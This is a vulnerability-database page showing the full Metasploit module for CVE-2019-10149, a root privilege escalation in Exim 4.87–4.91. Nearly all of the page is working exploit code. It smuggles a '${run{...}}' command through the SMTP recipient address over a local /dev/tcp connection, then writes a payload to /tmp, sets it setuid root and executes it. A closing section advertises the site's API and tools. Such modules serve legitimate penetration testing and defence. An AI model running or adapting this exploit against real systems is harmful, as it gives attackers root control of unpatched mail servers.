Lucene search
+L

Exim 4.87 - 4.91 Local Privilege Escalation

🗓️ 04 Jul 2019 14:02:03Reported by Qualys, Dennis Herrmann, Marco Ivaldi, Guillaume AndréType 
metasploit
 metasploit
🔗 www.rapid7.com👁 727 Views

Exim 4.87 - 4.91 Local Privilege Escalation. Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149)

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
        'Description' => %q{
          This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
          Improper validation of recipient address in deliver_message()
          function in /src/deliver.c may lead to command execution with root privileges
          (CVE-2019-10149).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # Discovery and PoC (@qualys)
          'Dennis Herrmann', # Working exploit (@dhn)
          'Marco Ivaldi', # Working exploit (@0xdea)
          'Guillaume André' # Metasploit module (@yaumn_)
        ],
        'DisclosureDate' => '2019-06-05',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [
            'Exim 4.87 - 4.91',
            lower_version: Rex::Version.new('4.87'),
            upper_version: Rex::Version.new('4.91')
          ]
        ],
        'DefaultOptions' => {
          'PrependSetgid' => true,
          'PrependSetuid' => true
        },
        'References' => [
          [ 'CVE', '2019-10149' ],
          [ 'EDB', '46996' ],
          [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
      ]
    )

    register_advanced_options(
      [
        OptFloat.new('ExpectTimeout', [ true, 'Timeout for Expect when communicating with exim', 3.5 ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ]
    )
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def encode_command(cmd)
    '\x' + cmd.unpack('H2' * cmd.length).join('\x')
  end

  def open_tcp_connection
    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
    params = Rex::Socket::Parameters.new({
      'PeerHost' => '127.0.0.1',
      'PeerPort' => datastore['EXIMPORT']
    })
    begin
      socket = socket_subsystem.create_tcp_client_channel(params)
    rescue StandardError => e
      vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                  'are you sure exim is listening on this port? (see EXIMPORT)')
      raise e
    end
    return socket_subsystem, socket
  end

  def inject_payload(payload)
    if session.type == 'meterpreter'
      socket_subsystem, socket = open_tcp_connection

      tcp_conversation = {
        nil => /220/,
        'helo localhost' => /250/,
        'MAIL FROM:<>' => /250/,
        "RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
        'DATA' => /354/,
        'Received:' => nil,
        '.' => /250/
      }

      begin
        tcp_conversation.each do |line, pattern|
          if line
            if line == 'Received:'
              for i in (1..31)
                socket.puts("#{line} #{i}\n")
              end
            else
              socket.puts("#{line}\n")
            end
          end

          next unless pattern

          unless socket.expect(pattern, datastore['ExpectTimeout'])
            fail_with(Failure::TimeoutExpired, "Pattern not found: #{pattern.inspect}")
          end
        end
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      ensure
        socket.puts("QUIT\n")
        socket.close
        socket_subsystem.shutdown
      end
    else
      unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
                      '&& echo true').chomp.to_s == 'true'
        fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
      end

      bash_script = %|
        #!/bin/bash

        exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
        read -u 3 && echo $REPLY
        echo "helo localhost" >&3
        read -u 3 && echo $REPLY
        echo "mail from:<>" >&3
        read -u 3 && echo $REPLY
        echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
        read -u 3 && echo $REPLY
        echo "data" >&3
        read -u 3 && echo $REPLY
        for i in $(seq 1 30); do
          echo 'Received: $i' >&3
        done
        echo "." >&3
        read -u 3 && echo $REPLY
        echo "quit" >&3
        read -u 3 && echo $REPLY
      |

      @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
      write_file(@bash_script_path, bash_script)
      register_file_for_cleanup(@bash_script_path)
      chmod(@bash_script_path)
      cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
    end

    print_status('Payload sent, wait a few seconds...')
    Rex.sleep(5)
  end

  def on_new_session(session)
    super

    if session.type == 'meterpreter'
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.fs.file.rm(@payload_path)
    else
      session.shell_command_token("rm -f #{@payload_path}")
    end
  end

  def check
    if session.type == 'meterpreter'
      begin
        socket_subsystem, socket = open_tcp_connection
      rescue StandardError
        return CheckCode::Safe
      end
      res = socket.gets
      socket.close
      socket_subsystem.shutdown
    else
      unless command_exists?('/bin/bash')
        return CheckCode::Safe('bash not found')
      end

      res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
                     "(read -u 3 && echo $REPLY) || echo false'")
      if res == 'false'
        vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                     'are you sure exim is listening on this port? (see EXIMPORT)')
        return CheckCode::Safe
      end
    end

    if res =~ /Exim ([0-9\.]+)/i
      version = Rex::Version.new(Regexp.last_match(1))
      vprint_status("Found exim version: #{version}")
      if version >= target[:lower_version] && version <= target[:upper_version]
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    end

    CheckCode::Unknown
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    if nosuid?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
    end

    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
                                    'to get root privileges.')
    end

    unless session.type == 'meterpreter'
      unless command_exists?('/bin/bash')
        fail_with(Failure::NotFound, 'bash not found')
      end
    end

    @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    write_file(@payload_path, payload.encoded_exe)
    register_file_for_cleanup(@payload_path)
    inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
                                  "chmod 4755 #{@payload_path}'"))

    unless setuid?(@payload_path)
      fail_with(Failure::Unknown, "Couldn't escalate privileges")
    end

    cmd_exec("#{@payload_path} & echo ")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2023 07:17Current
1.3Low risk
Vulners AI Score1.3
CVSS 39 - 9.8
CVSS 210
EPSS0.99961
727